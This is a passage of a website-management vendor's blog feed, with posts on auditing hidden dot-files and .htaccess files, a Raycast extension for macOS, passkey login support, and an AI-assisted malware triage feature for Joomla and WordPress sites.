&lt;p&gt;Then there&apos;s the truly stupid stuff. We&apos;ve seen extensions ship with &lt;code&gt;.api.key&lt;/code&gt; files - actual API credentials stored in a dot-file on the assumption that the dot prefix somehow makes it secure. It doesn&apos;t. Anyone who knows the path can request it directly in a browser. The dot prefix only hides files from directory listings, not from direct access. Hiding secrets by putting a dot in front of the filename is like hiding your house key under the doormat and calling it a security system.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;.htaccess&lt;/code&gt; files inside third-party extensions are another common find. Some are legitimate (restricting direct PHP execution in upload directories), but others are leftover development config that the developer forgot to remove. An &lt;code&gt;.htaccess&lt;/code&gt; inside a &lt;code&gt;.tmp&lt;/code&gt; or &lt;code&gt;.trash&lt;/code&gt; folder deep in an extension&apos;s vendor directory is a sign that the extension is shipping its entire development tree rather than a clean production build.&lt;/p&gt;
&lt;p&gt;The point is: even when these files aren&apos;t malicious, they&apos;re still worth knowing about. They reveal the quality of the code you&apos;re running, and occasionally they expose things that genuinely shouldn&apos;t be publicly accessible.&lt;/p&gt;
&lt;h2&gt;What about the .well-known folder?&lt;/h2&gt;
&lt;p&gt;One dot-folder you&apos;ll almost certainly see is &lt;code&gt;/.well-known/&lt;/code&gt;. This one is legitimate - it&apos;s an &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc8615&quot;&gt;IETF standard&lt;/a&gt; that services use to discover things about your site. Let&apos;s Encrypt puts its domain validation challenges in &lt;code&gt;/.well-known/acme-challenge/&lt;/code&gt;. Apple uses &lt;code&gt;/.well-known/apple-app-site-association&lt;/code&gt; for universal links. Security researchers look for &lt;code&gt;/.well-known/security.txt&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;So why mention it here? Because attackers know you expect this folder to exist, and they abuse that. We&apos;ve seen sites where someone planted a PHP shell inside &lt;code&gt;/.well-known/acme-challenge/&lt;/code&gt; because it&apos;s a directory that already has to be publicly accessible for SSL renewals to work. Nobody questions traffic to &lt;code&gt;/.well-known/&lt;/code&gt; in their access logs.&lt;/p&gt;
&lt;p&gt;If you see files inside &lt;code&gt;/.well-known/&lt;/code&gt; that aren&apos;t plain text challenge tokens or JSON config files, especially anything ending in &lt;code&gt;.php&lt;/code&gt;, take a closer look. The folder is supposed to be boring. If it isn&apos;t, that&apos;s a problem.&lt;/p&gt;
&lt;h2&gt;Why does .htaccess deserve extra attention?&lt;/h2&gt;
&lt;p&gt;We deliberately flag &lt;code&gt;.htaccess&lt;/code&gt; files - yes, we know they&apos;re usually fine. But &lt;code&gt;.htaccess&lt;/code&gt; is one of the most powerful files on an Apache server. A malicious one can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Redirect all your traffic to a spam or phishing site&lt;/li&gt;
&lt;li&gt;Block search engine crawlers from indexing your real content&lt;/li&gt;
&lt;li&gt;Serve different content to Googlebot than to real visitors (cloaking)&lt;/li&gt;
&lt;li&gt;Password-protect directories the attacker has planted files in&lt;/li&gt;
&lt;li&gt;Execute PHP in directories where it shouldn&apos;t run (like &lt;code&gt;/uploads/&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;One &lt;code&gt;.htaccess&lt;/code&gt; in the wrong place can undo every other security measure you&apos;ve put in place. Reviewing all of them periodically is just good practice.&lt;/p&gt;
&lt;h2&gt;What should you do with the results?&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Review every dot-file that isn&apos;t &lt;code&gt;.htaccess&lt;/code&gt;. If you don&apos;t recognize it, look at what&apos;s inside. If you&apos;re not confident reading PHP, the &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI malware analysis tool&lt;/a&gt; can tell you within seconds whether a file is malware or a false positive&lt;/li&gt;
&lt;li&gt;Count your &lt;code&gt;.htaccess&lt;/code&gt; files. Most sites have 1-3 legitimate ones. If you have 15, something is off&lt;/li&gt;
&lt;li&gt;Check modification dates. A &lt;code&gt;.htaccess&lt;/code&gt; modified last week that you didn&apos;t touch? Red flag. Better still, &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;set up real-time file modification alerts&lt;/a&gt; so you&apos;re notified the moment a file changes&lt;/li&gt;
&lt;li&gt;Look for dot-folders. Legitimate ones are rare outside of development environments&lt;/li&gt;
&lt;li&gt;Compare between audits. If your hidden file count suddenly jumps, dig in immediately&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Still not sure what you&apos;re looking at? &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;Drop Phil a message&lt;/a&gt; and he&apos;ll point you in the right direction. If you&apos;d rather have someone go through the whole site for you, you can book a paid consultancy review at &lt;a href=&quot;https://fix.mysites.guru&quot;&gt;fix.mySites.guru&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;How do you run this across all your sites?&lt;/h2&gt;
&lt;p&gt;If you manage dozens or hundreds of sites, doing this manually on each one would take days. With mySites.guru, every scheduled audit automatically counts hidden files across all your connected sites. You can configure &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;how often those audits run&lt;/a&gt; - daily, weekly, or monthly - and spot anomalies at a glance from the dashboard without logging into a single server.&lt;/p&gt;
&lt;p&gt;You can also view the hidden files results for every site on a single page at &lt;a href=&quot;https://manage.mysites.guru/en/tools/allsites/Joomla/filesinformation/hiddenfiles&quot;&gt;the all-sites hidden files tool&lt;/a&gt;. Each site shows its hidden file count with an Investigate button to drill into the details, and a Manage Site button to jump straight to that site&apos;s dashboard. Tabs let you switch between your Joomla, WordPress, and Generic PHP sites.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;The hidden files tool works on Joomla, WordPress, and any PHP application connected to mySites.guru. Same scan regardless of platform.&lt;/p&gt;
&lt;h2&gt;Get Started&lt;/h2&gt;
&lt;p&gt;Already a mySites.guru subscriber? Run an audit on any site and look for the &lt;strong&gt;Hidden Files&lt;/strong&gt; result in the Files Information section. Click through to review what&apos;s lurking on your server.&lt;/p&gt;
&lt;p&gt;Not using mySites.guru yet? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Start a free trial&lt;/a&gt; and connect your first site in under two minutes. The first audit usually surfaces a few surprises.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Learn more in our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;WordPress and Joomla security guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>Security</category><category>Audit Tools</category><category>Joomla</category><category>WordPress</category><enclosure url="https://mysites.guru/_astro/hidden-files-lurking.ByV36uo2.webp" length="0" type="image/webp"/></item><item><title>mySites.guru Raycast Extension for Mac</title><link>https://mysites.guru/blog/mysites-guru-raycast-extension-for-mac/</link><guid isPermaLink="true">https://mysites.guru/blog/mysites-guru-raycast-extension-for-mac/</guid><description>Free Raycast extension for mySites.guru on macOS. Search your managed sites, open management pages, and copy URLs without leaving the keyboard.</description><pubDate>Fri, 27 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We&apos;ve had an &lt;a href=&quot;https://mysites.guru/blog/integrate-mysites-guru-to-alfred-workflow-on-mac/&quot;&gt;Alfred workflow&lt;/a&gt; for this for a while, but a lot of Mac users have moved to &lt;a href=&quot;https://www.raycast.com/&quot;&gt;Raycast&lt;/a&gt; and kept asking for a native extension. So here it is.&lt;/p&gt;
&lt;p&gt;Type &quot;mys&quot; into Raycast and the mySites.guru Site Search command appears at the top:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Then press Enter to open the command and you will see a list of your sites.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Hit Enter to load the Manage Site page for that site. Or use ⌘K in Raycast to view more options like opening the site in your browser or copying the URL.&lt;/p&gt;
&lt;h2&gt;What does it do?&lt;/h2&gt;
&lt;p&gt;Type a few characters in Raycast and you get a filtered list of every site connected to your mySites.guru account, with favicons. From there you can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Open the management page for any site in one keystroke&lt;/li&gt;
&lt;li&gt;Visit the live site in your browser&lt;/li&gt;
&lt;li&gt;Copy the site URL or management URL to your clipboard&lt;/li&gt;
&lt;li&gt;Refresh the site list on demand with ⌘R&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Results are cached for 5 minutes so it feels instant.&lt;/p&gt;
&lt;p&gt;If you manage dozens or hundreds of sites, this changes the workflow. Instead of logging into the mySites.guru dashboard, finding the site, and clicking through, you just type a few letters and you&apos;re there. Pair it with &lt;a href=&quot;https://mysites.guru/blog/one-click-login-to-any-joomla-or-wordpress-admin-console-with-mysites-guru/&quot;&gt;one-click admin login&lt;/a&gt; and you can go from &quot;I need to check that site&quot; to logged into its admin panel in about three seconds.&lt;/p&gt;
&lt;p&gt;We also have a &lt;a href=&quot;https://mysites.guru/blog/our-command-palette-navigation-with-cmdk/&quot;&gt;command palette&lt;/a&gt; inside the mySites.guru dashboard itself if you prefer to stay in the browser.&lt;/p&gt;
&lt;h2&gt;What is Raycast?&lt;/h2&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;If you haven&apos;t come across it yet, &lt;a href=&quot;https://www.raycast.com/&quot;&gt;Raycast&lt;/a&gt; is a keyboard launcher for macOS that replaces Spotlight. You hit a hotkey, type what you want, and things happen. Apps open, files appear, calculations get done, windows snap into place. It responds in milliseconds.&lt;/p&gt;
&lt;p&gt;But the launcher is just one part of it. Raycast also ships with clipboard history, window management, snippet expansion, quick notes, a calculator, calendar, and emoji picker. All keyboard-driven, all fast. If you&apos;ve ever had five separate utility apps running to cover all that, Raycast replaces the lot.&lt;/p&gt;
&lt;h3&gt;The extension store&lt;/h3&gt;
&lt;p&gt;The real reason we built for Raycast is the extension system. There&apos;s a store with thousands of extensions for tools you probably already use: GitHub, Notion, Linear, Slack, Figma, 1Password, VS Code, Todoist. Extensions are built with React and TypeScript, so any web developer can build one without learning anything new.&lt;/p&gt;
&lt;p&gt;Our mySites.guru extension is distributed from &lt;a href=&quot;https://github.com/mySites-guru/raycast-extension&quot;&gt;GitHub&lt;/a&gt; rather than the Raycast Store, but once installed it works exactly like any other Raycast command.&lt;/p&gt;
&lt;h3&gt;Free where it matters&lt;/h3&gt;
&lt;p&gt;The base Raycast app is free, and extensions work on the free tier. There&apos;s a paid Pro plan for AI features and cloud sync, but you don&apos;t need it for the mySites.guru extension or most of the store. Compare that to Alfred, where you need the paid PowerPack (£34+) before workflows do anything at all.&lt;/p&gt;
&lt;p&gt;If you&apos;re already on Raycast, our extension drops straight in. If you&apos;re still on Spotlight, this might be worth a look.&lt;/p&gt;
&lt;h2&gt;Download&lt;/h2&gt;
&lt;p&gt;The extension is hosted on GitHub. Grab the latest release here:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/mySites-guru/raycast-extension/releases/latest&quot;&gt;Download mySites.guru Raycast Extension&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You&apos;ll get a &lt;code&gt;.zip&lt;/code&gt; file containing the extension source. No Raycast Store install needed - you run it locally as a dev extension, which takes about 30 seconds.&lt;/p&gt;
&lt;p&gt;If you&apos;d rather clone the repo directly:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone https://github.com/mySites-guru/raycast-extension.git
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;How do you install it?&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Download the &lt;a href=&quot;https://github.com/mySites-guru/raycast-extension/releases/latest&quot;&gt;latest release from GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Extract the archive and run:&lt;pre&gt;&lt;code&gt;npm install &amp;amp;&amp;amp; npm run dev
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;Raycast will prompt you for your API token on first launch&lt;/li&gt;
&lt;li&gt;Get the token from &lt;a href=&quot;https://manage.mysites.guru/en/sites/screenshots&quot;&gt;manage.mysites.guru/en/sites/screenshots&lt;/a&gt; (enable &quot;Public Site Screenshots&quot; first if you haven&apos;t already)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;That&apos;s it. Start typing a site name and your sites appear.&lt;/p&gt;
&lt;p&gt;On first launch, Raycast will show the welcome screen where you paste your token:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Can you use the same token as Alfred?&lt;/h2&gt;
&lt;p&gt;If you already set up the Alfred workflow, you already have a token. The Raycast extension uses the same one, same API, same endpoint. You can run both side by side if you want.&lt;/p&gt;
&lt;h2&gt;Is it open source?&lt;/h2&gt;
&lt;p&gt;The extension is &lt;a href=&quot;https://github.com/mySites-guru/raycast-extension&quot;&gt;open source on GitHub&lt;/a&gt; under the MIT license. Pull requests welcome if you want to add something.&lt;/p&gt;
&lt;h2&gt;Not on mySites.guru yet?&lt;/h2&gt;
&lt;p&gt;If you&apos;re managing multiple WordPress or Joomla sites and don&apos;t have a mySites.guru account, you can &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;start with a free audit&lt;/a&gt; to see what it does. The Raycast extension works on all plans, including the free tier. Check the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;full feature list&lt;/a&gt; or go straight to &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;pricing&lt;/a&gt; if you already know what you need.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;This is one of several productivity tools in our &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;agency management guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>raycast</category><category>mac</category><category>productivity</category><category>workflow</category><category>site management</category><enclosure url="https://mysites.guru/_astro/raycast-extension-og.DJhhErVZ.webp" length="0" type="image/webp"/></item><item><title>mySites.guru supports login with Passkeys</title><link>https://mysites.guru/blog/passkeys-for-secure-login-to-mysites/</link><guid isPermaLink="true">https://mysites.guru/blog/passkeys-for-secure-login-to-mysites/</guid><description>mySites.guru supports login with passkeys - Face ID, Touch ID, Windows Hello, or any FIDO2 device. Faster than passwords, impossible to phish.</description><pubDate>Fri, 27 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Passwords are the worst part of logging in to anything. You know it. We know it. So we added passkey support to mySites.guru - mainly for security, but also to make logging in a lot easier - no more passwords to remember!&lt;/p&gt;
&lt;h2&gt;What is a passkey?&lt;/h2&gt;
&lt;p&gt;A passkey is a replacement for typed passwords. Instead of remembering (or more likely, forgetting) a string of characters, your device creates a pair of cryptographic keys when you register. One stays on your device, locked behind your fingerprint, face, or screen PIN. The other goes to the server. When you log in, the two keys do a handshake and you&apos;re authenticated. You never type anything.&lt;/p&gt;
&lt;p&gt;The important bit: the private key never leaves your device. It can&apos;t be copied, emailed, pasted into a phishing form, or found in a data breach. If someone steals the server&apos;s database, they get the public key, which is useless on its own.&lt;/p&gt;
&lt;p&gt;Passkeys are built on the FIDO2 and WebAuthn standards, developed by the &lt;a href=&quot;https://fidoalliance.org/&quot;&gt;FIDO Alliance&lt;/a&gt;. The Alliance is an industry group formed in 2012 with one goal: kill passwords. Its members include Apple, Google, Microsoft, Amazon, and hundreds of other companies. They wrote the spec that makes passkeys work the same way across every browser and operating system. When you register a passkey on mySites.guru, you&apos;re using the same open protocol that Google, GitHub, and PayPal use for their logins. Nothing proprietary, nothing locked to a single vendor.&lt;/p&gt;
&lt;h2&gt;What actually happens when you use a passkey at mySites.guru?&lt;/h2&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;You enter your username, and click the &quot;Sign in with Passkey&quot; button, your device asks for your fingerprint or face, and you&apos;re in. No typing. No paste-from-password-manager dance. No &quot;was it the one with the capital letter and the exclamation mark?&quot;&lt;/p&gt;
&lt;p&gt;If you are using 1Password, you can use the browser extension to register and sign in with passkeys. It works on Mac, Windows, Linux, iOS, and Android, so your passkeys follow you everywhere without being tied to a single platform&apos;s ecosystem.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Under the hood, your device holds a private cryptographic key that never leaves it. The server only sees the public half. There&apos;s nothing to intercept, nothing to leak in a database breach, and nothing that works on a phishing site pretending to be us.&lt;/p&gt;
&lt;h2&gt;Why does this matter if you manage client sites?&lt;/h2&gt;
&lt;p&gt;Although our service has a long session time, if you logout and are logging in to mySites.guru several times a day to check on client sites, the speed difference is noticeable. But the real win is security.&lt;/p&gt;
&lt;p&gt;If you have &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;team members on your account&lt;/a&gt;, you no longer have to wonder whether Dave from accounting is reusing his Gmail password for your site management dashboard. His passkey is tied to his device and the mysites.guru domain. Can&apos;t be reused, shared, or phished.&lt;/p&gt;
&lt;h2&gt;What devices are supported?&lt;/h2&gt;
&lt;p&gt;Anything that speaks WebAuthn/FIDO2:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Face ID and Touch ID on Apple devices (syncs via iCloud Keychain)&lt;/li&gt;
&lt;li&gt;Fingerprint or face unlock on Android (syncs via Google Password Manager)&lt;/li&gt;
&lt;li&gt;Windows Hello - fingerprint, face, or PIN&lt;/li&gt;
&lt;li&gt;Hardware security keys like YubiKey 5 or Google Titan&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;How do you set it up?&lt;/h2&gt;
&lt;p&gt;Go to your &lt;a href=&quot;https://manage.mysites.guru/en/account/tools&quot;&gt;Account page&lt;/a&gt; and look for the WebAuthn Authentication section. Click &lt;strong&gt;Register new WebAuthn device or Passkeys&lt;/strong&gt;, authenticate with your device, and you&apos;re done.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;You can register multiple passkeys if you use several devices. Next time you log in, you&apos;ll see the &quot;Sign in with Passkey&quot; button on the login screen.&lt;/p&gt;
&lt;p&gt;Your password still works as a fallback - passkeys are an additional login method, not a replacement.&lt;/p&gt;
&lt;h2&gt;How do passkeys compare to 2FA?&lt;/h2&gt;
&lt;p&gt;Two Factor Authentication adds a second step after your password (usually a 6-digit code). Passkeys skip the password step entirely and authenticate you in one action. Both are better than a password alone, but passkeys are faster and resistant to phishing in a way that SMS and TOTP codes aren&apos;t.&lt;/p&gt;
&lt;p&gt;If an attacker tricks you into entering your password and 2FA code on a fake site, they can replay both within seconds. A passkey won&apos;t authenticate against a fake domain at all - the cryptography simply doesn&apos;t work unless the domain matches.&lt;/p&gt;
&lt;h2&gt;Is mySites.guru listed on passkey directories?&lt;/h2&gt;
&lt;p&gt;mySites.guru is listed on &lt;a href=&quot;https://passkeys.directory/&quot;&gt;passkeys.directory&lt;/a&gt; and &lt;a href=&quot;https://www.passkeys.com/&quot;&gt;passkeys.com&lt;/a&gt; as a service that supports passkey login. If you&apos;re checking whether a tool you use supports passkeys, those two sites maintain up-to-date lists. We&apos;re on both.&lt;/p&gt;
&lt;h2&gt;Why do we recommend 1Password?&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://1password.com/&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;If you&apos;re not already using &lt;a href=&quot;https://1password.com/&quot;&gt;1Password&lt;/a&gt;, you should be. We use it ourselves and it&apos;s the best way to manage passkeys across devices.&lt;/p&gt;
&lt;p&gt;1Password stores your passkeys alongside your passwords, credit cards, and secure notes in one encrypted vault. Their browser extension handles passkey registration and login automatically - when mySites.guru prompts for a passkey, 1Password picks it up. It works on Mac, Windows, Linux, iOS, and Android, so your passkeys follow you everywhere without being tied to a single platform&apos;s ecosystem.&lt;/p&gt;
&lt;p&gt;Where 1Password really pays off for agencies is sharing. You can create shared vaults for your team, so if someone needs access to a shared account (not mySites.guru - use team accounts for that - but the dozens of other services your agency depends on), you don&apos;t end up with passwords in Slack DMs or shared Google Docs. Everything stays encrypted and auditable.&lt;/p&gt;
&lt;p&gt;It also generates strong unique passwords for the sites that don&apos;t support passkeys yet, which in 2026 is still most of them. If you&apos;re managing 50+ client sites and their associated hosting accounts, DNS providers, CDNs, and email services, a password manager isn&apos;t optional. 1Password is the one we&apos;d pick.&lt;/p&gt;
&lt;h2&gt;Which plans include passkey support?&lt;/h2&gt;
&lt;p&gt;Passkeys are available on all plans, including team member accounts. There&apos;s nothing extra to pay for. Combined with &lt;a href=&quot;https://mysites.guru/blog/one-click-login-to-any-joomla-or-wordpress-admin-console-with-mysites-guru/&quot;&gt;one-click admin login&lt;/a&gt; to your connected sites and &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time login alerts&lt;/a&gt;, you&apos;ve got a pretty solid security setup.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/account/tools&quot;&gt;Set Up Your Passkey Now&lt;/a&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&amp;lt;small&amp;gt;FIDO® and the stylized FIDO logo are trademarks (registered in numerous countries) of FIDO Alliance, Inc. The passkey icon is a trademark of FIDO Alliance, Inc.&amp;lt;/small&amp;gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Account security is covered in depth in our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;agency security guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>passkeys</category><category>authentication</category><enclosure url="https://mysites.guru/_astro/passkeys-hero.BPdub33y.webp" length="0" type="image/webp"/></item><item><title>AI-Powered Malware Analysis Now Available in mySites.guru</title><link>https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/</guid><description>Send flagged suspect files to Claude or GPT for instant malware analysis. Crowdsourced cached results shared across all subscribers.</description><pubDate>Thu, 15 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;You run a security audit on your Joomla site. Result? &lt;strong&gt;47 files flagged as &quot;Suspect Content.&quot;&lt;/strong&gt; OH NO!!!!!&lt;/p&gt;
&lt;p&gt;If you landed here because something looks wrong with your site, start by &lt;a href=&quot;https://mysites.guru/blog/is-my-wordpress-site-hacked/&quot;&gt;checking whether your WordPress site is actually hacked&lt;/a&gt; - then use our &lt;a href=&quot;https://mysites.guru/wordpress-malware-scanner/&quot;&gt;WordPress malware scanner&lt;/a&gt; as a starting point before you dig into this level of detail.&lt;/p&gt;
&lt;p&gt;Which are actual malware? Which are false positives? Do you spend hours reviewing PHP code or wait days for expert analysis?&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;AI-Powered Malware Analysis&lt;/strong&gt; - when our audit tools flag suspicious files, you can now send any file to AI for expert analysis with one click.&lt;/p&gt;
&lt;p&gt;Results come back as plain verdicts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&quot;This is a false positive – safe to ignore&quot;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&quot;This is suspicious – review line 42&quot;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&quot;This is malware – remove immediately&quot;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The crowdsourced cached results change the economics: when you or anyone else analyzes a file with our AI integration and gets a definitive result (SAFE or MALWARE), that result is stored globally by file hash. If someone else already analyzed that file - same hash, same file contents - you get instant results at no cost. Your analyses help others and theirs help you.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;(No details on your domains, your site, or personal information is shared, the hash of the file contents and the result is all that we store)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Example malware extracts from the AI analysis:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Why did we wait to add AI?&lt;/h2&gt;
&lt;p&gt;Every company rushed to add &quot;AI-powered&quot; to their product - chatbots that frustrated users, buzzwords without substance.&lt;/p&gt;
&lt;p&gt;For over a decade, we&apos;ve secured Joomla and WordPress sites. We knew our audit system worked well at finding threats, but it casts a wide net, meaning false positives. Users had to review code themselves or wait for us to review files manually.&lt;/p&gt;
&lt;p&gt;We spent months testing: analyzed thousands of files, compared AI results against expert reviews, measured accuracy and cost-effectiveness. The question wasn&apos;t whether AI was trendy - it was whether AI could reliably do what users struggle with: reading PHP code, identifying suspicious patterns, and separating legitimate code from malware. It can.&lt;/p&gt;
&lt;p&gt;False positives have cost users hours of manual review for over a decade. This addresses that.&lt;/p&gt;
&lt;h2&gt;How does it work?&lt;/h2&gt;
&lt;h3&gt;The audit foundation&lt;/h3&gt;
&lt;p&gt;For 10+ years, our security audit system has scanned filesystems using pattern-matching built from real-world hacks. It catches backdoors and malware most users would never find. By design, it flags suspicious files broadly - better to review a safe file than miss malware. Before you can spot the abnormal, it helps to know what&apos;s normal - our guide to &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden files lurking on your site&lt;/a&gt; explains the dot-files most site owners don&apos;t even know exist in their webspace.&lt;/p&gt;
&lt;h3&gt;AI analysis layer&lt;/h3&gt;
&lt;p&gt;When audits flag files, you see a colored AI icon:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;🟣 Purple = Not analyzed&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🟢 Green = Safe&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🟡 Yellow = Suspicious&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;🔴 Red = Malicious&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Click to send the file to AI (Claude Sonnet 4.5 or GPT-4). Within seconds, get expert analysis with:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Risk level and confidence score&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Exact line numbers of issues&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Code snippets and explanations&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Actionable recommendations&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;Crowdsourced intelligence&lt;/h3&gt;
&lt;p&gt;Definitive results (SAFE/MALWARE) are stored globally by MD5 hash. Same file on 100 sites = 1 analysis, not 100. Popular WordPress plugins are likely already analyzed by the community. Your discoveries protect everyone else.&lt;/p&gt;
&lt;p&gt;Over time, the crowdsourced results will sharpen our audit patterns - false-positive rates should drop as the dataset grows.&lt;/p&gt;
&lt;h2&gt;What are the key benefits?&lt;/h2&gt;
&lt;h3&gt;Expert analysis without the expert&lt;/h3&gt;
&lt;p&gt;What took hours or days now takes seconds. No more waiting for manual reviews from Phil or trying to understand complex PHP code, or worse, ignoring or guessing! Although Phil receives every analysis and can overrule the AI decision:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;Cost savings at scale&lt;/h3&gt;
&lt;p&gt;You install a security plugin across 50 Joomla sites. First analysis costs a few cents. Other 49 sites? Instant cached results, zero cost. Managing 100 WordPress sites with WooCommerce? Most files already analyzed by the community-you might only need 2-3 new analyses.&lt;/p&gt;
&lt;h3&gt;Accurate and trustworthy&lt;/h3&gt;
&lt;p&gt;Every analysis includes confidence scores (0-100%). 95% confidence &quot;malicious&quot; is very different from 60% &quot;suspicious.&quot; The AI shows you exactly which lines are problematic and why. Admins can mark false positives, correcting the global cache for everyone.&lt;/p&gt;
&lt;h2&gt;When should you use it?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Suspected breach&lt;/strong&gt;: Site sending spam? Run the Suspect Content audit and use AI to triage 47 flagged files in minutes instead of hours. Not yet connected? &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free security audit&lt;/a&gt; to see what mySites.guru finds before you commit to a subscription.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Post-update verification&lt;/strong&gt;: Updated a plugin? AI confirms the modified files are legitimate, not tampered with.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Quarterly reviews&lt;/strong&gt;: Audit 100 sites. Common files already cached = instant results. Focus your time on new threats.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pre-deployment&lt;/strong&gt;: Verify custom code is secure before going live.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Inherited sites&lt;/strong&gt;: 200 flagged files overwhelming you? AI prioritizes the 5 high-risk files, not 195 false positives.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;When should you NOT use it?&lt;/h2&gt;
&lt;p&gt;It&apos;s not 100% accurate - sophisticated malware might slip through, and legitimate code might be flagged. Use findings as a guide and verify critical decisions. Phil receives a written report for each AI lookup and will manually override bad AI decisions to prevent mistakes and poisoning the crowdsourced database.&lt;/p&gt;
&lt;p&gt;It only works on text-based code (PHP, JS, etc.) - no images, PDFs, or compiled binaries.&lt;/p&gt;
&lt;p&gt;Files over 200KB are sampled (first/middle/last sections), so threats in unsampled sections could be missed.&lt;/p&gt;
&lt;p&gt;It&apos;s one layer, not the entire solution. Regular updates, strong passwords, and backups are still essential.&lt;/p&gt;
&lt;h2&gt;How do you enable it?&lt;/h2&gt;
&lt;ol&gt;
